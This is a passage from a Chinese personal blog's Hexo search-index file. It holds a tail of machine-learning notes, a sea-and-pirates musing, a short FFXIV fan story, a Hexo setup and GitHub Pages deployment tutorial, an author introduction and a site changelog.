</ul>
</ul>
<ul><li><b>Post-processing</b></li>
<ul>
<li>SoftNMS</li>
<li>MatrixNMS</li>
</ul>
</ul>
<ul><li><b>Speed</b></li>
<ul>
<li>FP16 training</li>
<li>Multi-machine training </li>
</ul>
</ul>
</td>
<td>
<ul>
<li>Resize</li>
<li>Flipping</li>
<li>Expand</li>
<li>Crop</li>
<li>Color Distort</li>
<li>Random Erasing</li>
<li>Mixup </li>
<li>Cutmix </li>
<li>Grid Mask</li>
<li>Auto Augment</li>
</ul>
</td>
</tr>
</td>
</tr>
</tbody>
</table>
<p>希望学起来不会太累、</p>
<hr>
]]></content>
<categories>
<category>技术</category>
<category>机器学习</category>
</categories>
<tags>
<tag>机器学习</tag>
</tags>
</entry>
<entry>
<title>0x02 - 杂碎</title>
<url>/2021/04/29/0x02-Other-things-1/</url>
<content><![CDATA[<h2 id="0x00-大海"><a href="#0x00-大海" class="headerlink" title="0x00 大海"></a>0x00 大海</h2><p>大海可以是浪漫,</p>
<p>无垠,无限,渺无边际。</p>
<div class='quote_div_en'><p align='left'><i class="fa fa-quote-left"></i></p>
<dd>Johnny Boy, Johnny Boy, we are born for stormy weather.</dd>
<dd>Johnny Boy, Johnny Boy, I wish you last farewell.</dd>
<dd>Somewhere out far away, we are sailing on together.</dd>
<dd>Oh Johnny, my, we are leaving tonight.</dd>
<dd>Johnny say Good Bye.</dd>
<dt align='right'> ------ From <i>"Johnny Boy"</i> By Santiano</dt>
<p align='right'><i class="fa fa-quote-right"></i><p></div>
<p>说不定去当海盗是个不错的归处。</p>
<h2 id="0x01-朗姆酒"><a href="#0x01-朗姆酒" class="headerlink" title="0x01 朗姆酒"></a>0x01 朗姆酒</h2><p>如果海盗不打杀,只是在船上,</p>
<p>早期的水手们,因为清水容易变质会致病,</p>
<p>为了保存珍贵的水资源,都喜欢喝朗姆酒。</p>
<p>说不定一船人,天天都醉醺醺的,</p>
<p>横摆着,摇晃着,朗姆酒与啤酒,</p>
<p>这样自由的日子比起打工和上班族,好像更不错。</p>
<p>杨帆,起航——</p>
<p>需要救命的朗姆,朗姆,朗姆,否则我们将干渴而死!</p>
<div class='quote_div_en'><p align='left'><i class="fa fa-quote-left"></i></p>
<dd>Wir brauchen Rum, Rum, Rum, Sonst verdursten wir.</dd>
<dt align='right'> ------ From <i>"Es gibt nur Wasser"</i> By Santiano</dt>
<p align='right'><i class="fa fa-quote-right"></i><p></div>
<h2 id="0x02-海里有什么"><a href="#0x02-海里有什么" class="headerlink" title="0x02 海里有什么"></a>0x02 海里有什么</h2><p>有宝藏、有梦想、还有阴魂不散的莫莫拉·莫拉。</p>
<p>真正的文兰或许不会存在,死后也不会回归瓦尔哈拉,</p>
<p>但对于海盗来说,梦想与彼方对于自己来说又有什么关系呢?</p>
<p>《冰海战记》中对于维京海盗的描写出乎我的意料。</p>
<p>也许烧杀抢掠才该是海盗生活的主旋律,<br>但是阿谢拉特有自己的梦想,远方的文兰,自己的抱负。<br>出身卑贱,背负着罗马人的血脉,</p>
<p>不管是大帝还是托尔芬,<br>大概都会铭记一生吧。</p>
<p>海水是咸,裹挟着苦辣,把所有的一切都蚀刻殆尽。</p>
<h2 id="0x03-彼岸"><a href="#0x03-彼岸" class="headerlink" title="0x03 彼岸"></a>0x03 彼岸</h2><p>自己珍惜的东西永远只有自己是最珍视的,<br>但大部分情况这就足够了。</p>
<p>毕竟任何人都没有义务,去喜欢别人喜欢的东西。</p>
<p>竟然真的可以在海边钓一整天的鱼,<br>既没有烦躁,也没有愉悦。<br>只是对着那一片汪洋,<br>甩杆,收杆,甩杆,收杆。</p>
<p>越是缝缝补补,<br>错误也就不断累积。<br>或早或晚,来去终有一天,<br>收获罪有应得。</p>
<p>Bug 越多, 错误越多。</p>
<p>「没关系,我自己一个人能行!」<br>听着,像是借口。</p>
<hr>
]]></content>
<categories>
<category>碎碎念</category>
<category>杂七杂八</category>
</categories>
<tags>
<tag>杂七杂八</tag>
</tags>
</entry>
<entry>
<title>0x01 - FFXIV - 01 - 阿猫和阿肥</title>
<url>/2021/04/29/0x01-FFXIV-1/</url>
<content><![CDATA[<h2 id="0x01"><a href="#0x01" class="headerlink" title="0x01"></a>0x01</h2><p>「潮虫,鳞虾,还有拟饵……」</p>
<p>阿猫今天想做柠檬烤鱼,淡淡的酸味让他着迷,但越来越少的鱼饵难倒了他。</p>
<p>这是阿猫来海都的第三天。咸咸的海风,拽着绵绵小雨,在入冬的海都显得格外清冷。<br>神典石上说,钓鱼得用 上好的鱼饵,但鱼只有在天晴的时候,才会在海都上层浮上水面。 </p>
<p>「唔,又脱钩了。」</p>
<p>阿猫摇了摇头,收起了鱼竿。他带了一整箱各式各样的鱼饵,但鱼王根本不搭理他,嘲笑着猫的不自量力,翻了几个泡泡游走了。</p>
<p>……</p>
<hr>
<h2 id="0x02"><a href="#0x02" class="headerlink" title="0x02"></a>0x02</h2><p>「嘿~你在做什么?」</p>
<p>被拍了拍肩,正在发呆的尖耳朵拉拉菲尔吓了一跳,站在她后面的高个子猫魅一丝不漏把阳光全都罩住了。她站在猫魅背光的影子里,像是被盯上的猎物。</p>
<p>「呜呜呜,不要吃我呜呜。。。」<br>拉拉菲尔就像兔子一般,委屈得哭了出来。</p>
<p>「哎哎?」猫魅有点摸不着头脑,他只是钓鱼的时候被一股香味吸引了过来。</p>
<p>周围的视线在菲尔的哭声中越发的刺人,猫魅有些慌张。<br>「不吃啦不吃,猫魅族吃拉拉菲尔那么油腻的肉会拉肚子的。」他这么说。</p>
<p>「呜呜呜,你说我油。。。」<br>拉拉菲尔哭得更大声了。</p>
<p>哎呀……猫魅挠了挠头,这可怎么办呢,鱼都被吓跑了。<br>但那个香味究竟是什么呢。</p>
<p>好像包里有应对这种情况的道具?<br>他翻看了一下背包……</p>
<p>「菲尔,菲尔,你看这是什么。」<br>还在小声的啜泣的拉拉菲尔睁开了哭红的眼睛,猫魅递过来了一个小纸袋子。</p>
<p>「这是什么,是调味料嘛……」<br>哎……猫魅有点晕。「打开看看。」</p>
<p>那是用竹纸包好的一小袋金平糖。拉拉菲尔取了一颗放进嘴里,砸吧砸吧,砂糖和蜂蜜的甜味混杂萦绕在舌尖。<br>真甜啊。。。她不禁低下了头</p>
<p>「呼~这样就好了」,猫魅松了一口气,悄悄把藏在背包里的风信子头花系在菲尔的头上。果然小个子戴上头花才更可爱嘛。</p>
<p>啊~<br>凑近了的猫魅明白过来。<br>从拉拉菲尔的头发,那是薰衣草的味道。<br>淡淡,悠扬,紫色的气味。</p>
<hr>
]]></content>
<categories>
<category>碎碎念</category>
<category>FFXIV</category>
</categories>
<tags>
<tag>FFXIV的故事</tag>
</tags>
</entry>
<entry>
<title>0x00 - Hexo 建站, Start From Here</title>
<url>/2021/04/28/0x00-Hexo-1/</url>
<content><![CDATA[<div class='quote_div'><p align='left'><i class="fa fa-quote-left"></i></p>
人生苦短,不造轮子
<p align='right'><i class="fa fa-quote-right"></i><p></div>
<p>这是所有日志的起点,第一篇不知所谓但是就是想贴在这里的日志。</p>
<p>作为第一篇的话,这里准备写一写如何利用 Hexo 搭建这个网站。</p>
<p>不过工程正在建设中,如果发现没有写完的话就稍后再来吧~</p>
<h3 id="0x00-准备工作"><a href="#0x00-准备工作" class="headerlink" title="0x00 准备工作"></a>0x00 准备工作</h3><p>一切的开始要从安装 <a href="https://hexo.io/">Hexo</a> 开始。<br>如果有需要,也可以直接看官方的 <a href="https://hexo.io/docs/">文档</a>。<br>npm 是 Nodejs 的包管理工具,所以在此之前先安装 Nodejs 也是相当必要的。</p>
<hr>
<p>请在 <a href="http://nodejs.cn/download/">这里</a> 找到 Nodejs 的下载地址,并在运行下面的代码之前安装完成。</p>
<figure class="highlight shell"><table><tr><td class="code"><pre><span class="line"><span class="meta">$</span><span class="bash"> npm install hexo-cli -g <span class="comment"># 安装 Hexo</span></span></span><br></pre></td></tr></table></figure>
<p>接着就是等待 npm 自己完成自己的工作了。</p>
<p>在安装完成后,我们就可以着手第一个网站的搭建。<br>运行下面的脚本来初始化我们的网站。<br><strong>注意!以后我们的网站的根目录就是下面这个 new_site 文件夹了</strong></p>
<figure class="highlight shell"><table><tr><td class="code"><pre><span class="line"><span class="meta">$</span><span class="bash"> hexo init new_site <span class="comment"># 初始化 Hexo 仓库</span></span></span><br><span class="line"><span class="meta">$</span><span class="bash"> <span class="built_in">cd</span> new_site</span></span><br></pre></td></tr></table></figure>
<h3 id="0x01-开始"><a href="#0x01-开始" class="headerlink" title="0x01 开始"></a>0x01 开始</h3><p>在初始化以后的文件夹内部,惊喜地发现在根目录下多了若干的文件夹。</p>
<p>在 <code>source/_posts</code> 下的 Markdown 文件就是我们的内容文件了。</p>
<p>官方准备了一份 <code>hello-world.md</code> 来协助完成写作的任务。</p>
<p>其实到此为止,已经完成了大部分的工作,接下来只需要运行:</p>
<figure class="highlight shell"><table><tr><td class="code"><pre><span class="line"><span class="meta">$</span><span class="bash"> hexo server <span class="comment"># 本地服务器开启</span></span></span><br><span class="line"><span class="meta">$</span><span class="bash"> hexo s <span class="comment"># 也可以这样简写</span></span></span><br></pre></td></tr></table></figure>
<p>你就可以在 <a href="http://localhost:4000/">http://localhost:4000</a> 看到网站最初的成果了</p>
<hr>
<p>如果希望将文件保存为静态页面,请运行:</p>
<figure class="highlight shell"><table><tr><td class="code"><pre><span class="line"><span class="meta">$</span><span class="bash"> hexo generate <span class="comment"># 保存为静态页面</span></span></span><br><span class="line"><span class="meta">$</span><span class="bash"> hexo g <span class="comment"># 简写</span></span></span><br></pre></td></tr></table></figure>
<p>在根目录下的 <code>public</code> 文件夹内,就是生成的所有网页文件了。</p>
<h3 id="0x02-部署"><a href="#0x02-部署" class="headerlink" title="0x02 部署"></a>0x02 部署</h3><p>那么现在一切准备就绪,如果我们希望发布到静态网站服务,例如 github pages 或者 gitee pages 上,那么我们可以使用 hexo 的 deployment 功能。</p>
<p>假如我们的目标是 github pages,那么我们首先需要新建一个 github pages 的仓库,请在 <a href="https://pages.github.com/">这里</a> 找到搭建 github pages 的教程。</p>
<ul>
<li>一句话概括:新建 Repository, 名字为 <code>username.github.io</code> 。</li>
</ul>
<p>在 <code>_config.yml</code> 内找到这部分,并且根据自己的情况更改配置</p>
<figure class="highlight yml"><table><tr><td class="code"><pre><span class="line"><span class="attr">deploy:</span></span><br><span class="line"> <span class="attr">type:</span> <span class="string">'git'</span> <span class="comment"># Git 方式</span></span><br><span class="line"> <span class="attr">repository:</span> <span class="string">https://github.com/username/username.github.io</span> <span class="comment"># 仓库地址</span></span><br><span class="line"> <span class="attr">branch:</span> <span class="string">master</span> <span class="comment"># 主要分支</span></span><br></pre></td></tr></table></figure>
<p>接下来的事情,hexo 会帮你做好</p>
<figure class="highlight shell"><table><tr><td class="code"><pre><span class="line"><span class="meta">$</span><span class="bash"> hexo deploy <span class="comment"># 部署至指定位置</span></span></span><br><span class="line"><span class="meta">$</span><span class="bash"> hexo d <span class="comment"># 简写</span></span></span><br></pre></td></tr></table></figure>
<p>一切就绪,Enjoy~</p>
<h3 id="0x03-新建"><a href="#0x03-新建" class="headerlink" title="0x03 新建"></a>0x03 新建</h3><p>想在 Hexo 新建 Post 很简单:</p>
<figure class="highlight shell"><table><tr><td class="code"><pre><span class="line"><span class="meta">$</span><span class="bash"> hexo new post new_post <span class="comment"># 新建名字叫 new_post 的 post</span></span></span><br></pre></td></tr></table></figure>
<p>执行完成后你就可以在 <code>source/_posts</code> 里找到新建的文档了。</p>
<hr>
]]></content>
<categories>
<category>技术</category>
<category>Hexo</category>
</categories>
<tags>
<tag>Hexo</tag>
</tags>
</entry>
<entry>
<title>你好世界,Hello World,ハローワルド</title>
<url>/2021/04/27/hello-world/</url>
<content><![CDATA[<h2 id="写在前面"><a href="#写在前面" class="headerlink" title="写在前面"></a>写在前面</h2><p>欢迎来到这里,你找到了一个不起眼的攻城师。</p>
<h2 id="关于我"><a href="#关于我" class="headerlink" title="关于我"></a>关于我</h2><p>网易云音乐后期患者,时不时会犯病,多多包容呐~</p>
<p>正经工作是一名算法工程师,也许将来的某一天会有自己开源的社区吧hhhh</p>
<p>梦想是有有一个厉害又别致的个人助力AI</p>
<p>工作之余是艾欧泽亚合法光呆,FFXIV洗澡水玩家,可以在下面找到我。</p>
<p>想要做的事有一大箩筐,但是时间又这么少。</p>
<div class='quote_div'><p align='left'><i class="fa fa-quote-left"></i></p>
「假如不会正则搜索的话,不如就遍历吧~」
<p align='right'><i class="fa fa-quote-right"></i><p></div>
<h3 id="关于程序员"><a href="#关于程序员" class="headerlink" title="关于程序员"></a>关于程序员</h3><p>主攻机器学习的研究生</p>
<div class='quote_div'><p align='left'><i class="fa fa-quote-left"></i></p>
「笑死,根本不是机器学习,是人类学习 」
<p align='right'><i class="fa fa-quote-right"></i><p></div>
<h3 id="关于FFXIV"><a href="#关于FFXIV" class="headerlink" title="关于FFXIV"></a>关于FFXIV</h3><p>Since 2018。下图为曾经的猫。</p>
<p><img src="/images/shigure_hotaru.jpg" alt="shigure_hotaru" title="傻猫"></p>
<hr>
<p>如今的拉拉肥。</p>
<p><img src="/images/lalafell.png" alt="shigure_hotaru" title="拉拉肥"></p>
<hr>
<p>不如在这里贴一贴曾经的经历吧,来自曾经月雫话剧团的各位们。<br>详情可以去看 <a href="https://space.bilibili.com/4064009">月雫剧团录像机EijNim号</a></p>
<p><img src="/images/hello_world_2.jpg" alt="shigure_hotaru" title="亲友们"></p>
<hr>
<p>也曾经攻略过绝本。感谢过去的队友们~<br>右三绿脖子的猫就是我啦~</p>
<p><img src="/images/after.jpg" alt="alexander"></p>
<p>详情可以去看 <a href="https://www.bilibili.com/video/BV14E411M7eS">这个</a></p>
<h2 id="如今"><a href="#如今" class="headerlink" title="如今"></a>如今</h2><p>目前是一名只要日子过得去就不准备随便改变的程序员</p>
<p>该如何面对未来呢~</p>
<h2 id="未来"><a href="#未来" class="headerlink" title="未来"></a>未来</h2><p>理想型是喜欢自己的人。</p>
<p>不过未来谁又能明白呢,或许想要成为一名努力而又有所成就的人吧</p>
<hr>
]]></content>
<categories>
<category>碎碎念</category>
</categories>
</entry>
<entry>
<title>站点日志</title>
<url>/2021/04/27/Diary/</url>
<content><![CDATA[<h3 id="2021-07-22"><a href="#2021-07-22" class="headerlink" title="2021-07-22"></a>2021-07-22</h3><p><strong>1. 添加站点地图</strong></p>
<h3 id="2021-07-20"><a href="#2021-07-20" class="headerlink" title="2021-07-20"></a>2021-07-20</h3><p><strong>1. 加入备案信息</strong><br><strong>2. 加入SEO</strong></p>
<h3 id="2021-05-17"><a href="#2021-05-17" class="headerlink" title="2021-05-17"></a>2021-05-17</h3><p><strong>1. 加入友情链接</strong></p>
<h3 id="2021-05-06"><a href="#2021-05-06" class="headerlink" title="2021-05-06"></a>2021-05-06</h3><p><strong>1. 加入字数统计和时间统计</strong></p>
<h3 id="2021-04-28"><a href="#2021-04-28" class="headerlink" title="2021-04-28"></a>2021-04-28</h3><p><strong>1. 更换主题为 Next,调试 Next 各项配置</strong><br><strong>2. 置顶 Hello World 日志</strong><br><strong>3. 更换背景图片,更新日志信息,发布第一份日志</strong></p>
<h3 id="2021-04-27"><a href="#2021-04-27" class="headerlink" title="2021-04-27"></a>2021-04-27</h3><p><strong>1. Hexo 脚本运行,初始化仓库</strong><br><strong>2. 编辑第一份日志,Hello World 提交</strong></p>
<hr>
]]></content>
<categories>
<category>技术</category>
<category>Hexo</category>
</categories>
<tags>
<tag>Hexo</tag>
</tags>
</entry>
</search>